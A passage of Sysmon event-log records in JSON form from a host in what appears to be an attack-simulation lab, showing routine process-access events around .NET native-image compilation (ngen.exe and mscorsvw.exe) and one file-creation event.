08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7292,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.197\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-0010A1DB0C00}\r\nTargetProcessId: 4948\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.197","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-0010A1DB0C00}","TargetProcessId":"4948","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7293,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-0010A1DB0C00}\r\nTargetProcessId: 4948\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-0010A1DB0C00}","TargetProcessId":"4948","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7294,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.338\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-001038DF0C00}\r\nTargetProcessId: 3376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.338","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-001038DF0C00}","TargetProcessId":"3376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7295,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-001038DF0C00}\r\nTargetProcessId: 3376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-001038DF0C00}","TargetProcessId":"3376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7296,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-001038DF0C00}\r\nTargetProcessId: 3376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-001038DF0C00}","TargetProcessId":"3376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7297,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 12:01:59.447\r\nProcessGuid: {90617006-42B7-5F2D-0000-001038DF0C00}\r\nProcessId: 3376\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d30-0\\Microsoft.Workflow.Compiler.exe\r\nCreationUtcTime: 2020-08-07 12:01:59.447","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 12:01:59.447","ProcessGuid":"{90617006-42B7-5F2D-0000-001038DF0C00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d30-0\\Microsoft.Workflow.Compiler.exe","CreationUtcTime":"2020-08-07 12:01:59.447","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7298,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.479\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-001024960B00}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.479","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-001024960B00}","TargetProcessId":"4896","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7299,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.479\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-001024960B00}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.479","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-001024960B00}","TargetProcessId":"4896","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7300,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-0010D1E30C00}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-0010D1E30C00}","TargetProcessId":"4896","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7301,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.541\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 